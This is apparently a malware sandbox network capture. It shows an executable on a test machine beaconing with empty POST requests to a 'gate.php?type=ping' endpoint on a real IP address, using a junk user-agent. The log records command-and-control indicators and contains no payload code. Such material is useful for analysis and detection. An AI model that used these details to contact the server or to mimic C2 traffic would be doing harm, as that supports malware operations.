Aug 15, 2021 08:41:38.924102068 CEST	7618	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:38.954097033 CEST	7618	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.064352036 CEST	7618	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.094197989 CEST	7618	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.205543995 CEST	7618	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.235569000 CEST	7619	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.345871925 CEST	7619	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.374190092 CEST	7619	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.486907005 CEST	7619	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.514784098 CEST	7620	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.627473116 CEST	7620	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.658567905 CEST	7620	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.767935038 CEST	7620	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.799040079 CEST	7620	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:39.908979893 CEST	7621	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:39.939724922 CEST	7621	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.049819946 CEST	7621	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.078862906 CEST	7621	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.190154076 CEST	7622	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.217607975 CEST	7622	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.330662966 CEST	7622	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.359003067 CEST	7622	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.472590923 CEST	7623	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.501223087 CEST	7623	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.612379074 CEST	7623	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.640433073 CEST	7623	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.753097057 CEST	7624	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.781860113 CEST	7624	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:40.893443108 CEST	7624	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:40.924165964 CEST	7624	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.037590027 CEST	7624	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.068203926 CEST	7625	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.174376011 CEST	7625	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.206305981 CEST	7625	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.315007925 CEST	7625	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.342845917 CEST	7626	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.455290079 CEST	7626	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.482628107 CEST	7626	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.596329927 CEST	7626	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.624378920 CEST	7627	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.737539053 CEST	7627	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.766545057 CEST	7627	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:41.877259016 CEST	7627	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:41.906200886 CEST	7627	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.017501116 CEST	7628	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.046323061 CEST	7628	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.164675951 CEST	7628	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.193788052 CEST	7628	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.302551031 CEST	7629	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.331916094 CEST	7629	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.442925930 CEST	7629	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.472026110 CEST	7629	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.580745935 CEST	7630	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.609788895 CEST	7630	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.721139908 CEST	7630	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.749650955 CEST	7630	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:42.877808094 CEST	7631	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:42.905527115 CEST	7631	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.018191099 CEST	7631	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.046014071 CEST	7631	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.159852028 CEST	7631	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.187984943 CEST	7632	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.299499989 CEST	7632	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.326414108 CEST	7632	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.442486048 CEST	7632	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.470705032 CEST	7633	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.584841013 CEST	7633	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.615937948 CEST	7633	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.725261927 CEST	7633	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.757255077 CEST	7634	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:43.877917051 CEST	7634	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:43.905555010 CEST	7634	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.017035007 CEST	7634	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.046567917 CEST	7634	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.157625914 CEST	7635	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.186927080 CEST	7635	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49777	94.103.80.169	80	C:\Users\user\Desktop\q2t57gIiIY.exe

Timestamp	kBytes transferred	Direction	Data
Aug 15, 2021 08:41:44.328617096 CEST	7636	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.355747938 CEST	7636	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.474514008 CEST	7636	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.502197027 CEST	7636	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.614451885 CEST	7637	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.642057896 CEST	7637	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.755199909 CEST	7637	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.782874107 CEST	7637	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:44.893580914 CEST	7638	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:44.921072006 CEST	7638	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.034523964 CEST	7638	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.063960075 CEST	7638	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.174310923 CEST	7638	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.203234911 CEST	7639	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.315712929 CEST	7639	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.345864058 CEST	7639	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.455679893 CEST	7639	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.485986948 CEST	7640	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.596139908 CEST	7640	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.624731064 CEST	7640	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.737337112 CEST	7640	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.765078068 CEST	7641	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:45.877883911 CEST	7641	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:45.905813932 CEST	7641	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:45 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.018107891 CEST	7641	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.048301935 CEST	7641	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.158986092 CEST	7642	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.187334061 CEST	7642	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.299309015 CEST	7642	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.327394009 CEST	7642	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.440217972 CEST	7643	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.468406916 CEST	7643	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.579828978 CEST	7643	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.607908964 CEST	7643	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.721811056 CEST	7644	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.751091003 CEST	7644	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:46.865885019 CEST	7644	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:46.893834114 CEST	7644	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:46 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.003722906 CEST	7645	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.031531096 CEST	7645	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.144620895 CEST	7645	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.172899008 CEST	7645	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.283849955 CEST	7645	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.313421965 CEST	7646	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.423903942 CEST	7646	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:41:47.452846050 CEST	7646	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:41:47 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:41:47.569235086 CEST	7646	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
